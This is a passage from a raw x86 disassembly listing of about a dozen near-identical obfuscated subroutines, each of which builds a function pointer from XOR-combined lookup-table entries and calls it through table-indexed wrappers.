mov [ebp+var_18], 35h
mov [ebp+var_14], 9Dh
mov [ebp+var_10], 0
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A595E
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A595E: ; CODE XREF: sub_4A58D0+7Bj
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A58D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A59CA proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED8D4o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 81h
mov [ebp+var_2C], 63h
mov [ebp+var_28], 5Fh
mov [ebp+var_24], 6Ch
mov [ebp+var_20], 0A5h
mov [ebp+var_1C], 41h
mov [ebp+var_18], 0EFh
mov [ebp+var_14], 98h
mov [ebp+var_10], 13h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 13h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A5A5B
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A5A5B: ; CODE XREF: sub_4A59CA+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A59CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A5AC7 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED8D8o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 58h
mov [ebp+var_2C], 0DDh
mov [ebp+var_28], 0EBh
mov [ebp+var_24], 29h
mov [ebp+var_20], 0A6h
mov [ebp+var_1C], 0A5h
mov [ebp+var_18], 0
mov [ebp+var_14], 0ABh
mov [ebp+var_10], 2
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 2
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A5B58
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A5B58: ; CODE XREF: sub_4A5AC7+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A5AC7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A5BC4 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED8DCo
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 89h
mov [ebp+var_2C], 8
mov [ebp+var_28], 63h
mov [ebp+var_24], 2Dh
mov [ebp+var_20], 0D1h
mov [ebp+var_1C], 29h
mov [ebp+var_18], 23h
mov [ebp+var_14], 0BCh
mov [ebp+var_10], 7
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 7
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A5C55
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A5C55: ; CODE XREF: sub_4A5BC4+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A5BC4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A5CC1 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED8E0o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0CAh
mov [ebp+var_2C], 1Eh
mov [ebp+var_28], 1Eh
mov [ebp+var_24], 83h
mov [ebp+var_20], 8Ch
mov [ebp+var_1C], 0C0h
mov [ebp+var_18], 0DBh
mov [ebp+var_14], 2Eh
mov [ebp+var_10], 13h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 13h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A5D52
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A5D52: ; CODE XREF: sub_4A5CC1+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A5CC1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A5DBE proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED8E4o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0ECh
mov [ebp+var_2C], 0Ch
mov [ebp+var_28], 0F6h
mov [ebp+var_24], 82h
mov [ebp+var_20], 3
mov [ebp+var_1C], 8Ah
mov [ebp+var_18], 3Ch
mov [ebp+var_14], 0A9h
mov [ebp+var_10], 0Bh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Bh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A5E4F
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A5E4F: ; CODE XREF: sub_4A5DBE+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A5DBE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A5EBB proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED8E8o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 6Ch
mov [ebp+var_2C], 0C3h
mov [ebp+var_28], 41h
mov [ebp+var_24], 0F4h
mov [ebp+var_20], 95h
mov [ebp+var_1C], 5Fh
mov [ebp+var_18], 6Ch
mov [ebp+var_14], 2Eh
mov [ebp+var_10], 3
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 3
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A5F4C
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A5F4C: ; CODE XREF: sub_4A5EBB+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A5EBB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A5FB8 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED8ECo
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0EBh
mov [ebp+var_2C], 60h
mov [ebp+var_28], 17h
mov [ebp+var_24], 7Bh
mov [ebp+var_20], 62h
mov [ebp+var_1C], 0C3h
mov [ebp+var_18], 25h
mov [ebp+var_14], 7Dh
mov [ebp+var_10], 0Dh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Dh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A6049
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A6049: ; CODE XREF: sub_4A5FB8+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A5FB8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A60B5 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED8F0o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0C8h
mov [ebp+var_2C], 57h
mov [ebp+var_28], 0E8h
mov [ebp+var_24], 29h
mov [ebp+var_20], 5Eh
mov [ebp+var_1C], 0DAh
mov [ebp+var_18], 0B7h
mov [ebp+var_14], 0F3h
mov [ebp+var_10], 4
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 4
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A6146
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A6146: ; CODE XREF: sub_4A60B5+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A60B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A61B2 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED8F4o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 63h
mov [ebp+var_2C], 1Ch
mov [ebp+var_28], 67h
mov [ebp+var_24], 0ACh
mov [ebp+var_20], 0DDh
mov [ebp+var_1C], 0Dh
mov [ebp+var_18], 41h
mov [ebp+var_14], 24h
mov [ebp+var_10], 8
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 8
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A6243
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A6243: ; CODE XREF: sub_4A61B2+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A61B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A62AF proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED8F8o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 3Bh
mov [ebp+var_2C], 8Bh
mov [ebp+var_28], 66h
mov [ebp+var_24], 15h
mov [ebp+var_20], 0EFh
mov [ebp+var_1C], 80h
mov [ebp+var_18], 51h
mov [ebp+var_14], 68h
mov [ebp+var_10], 15h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 15h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A6340
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A6340: ; CODE XREF: sub_4A62AF+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A62AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A63AC proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED8FCo
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 45h
mov [ebp+var_2C], 0D7h
mov [ebp+var_28], 7Eh
mov [ebp+var_24], 0D6h
mov [ebp+var_20], 0EFh
mov [ebp+var_1C], 5Bh
mov [ebp+var_18], 0F9h
mov [ebp+var_14], 0E9h
mov [ebp+var_10], 0Eh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Eh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A643D
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A643D: ; CODE XREF: sub_4A63AC+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A63AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A64A9 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED900o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
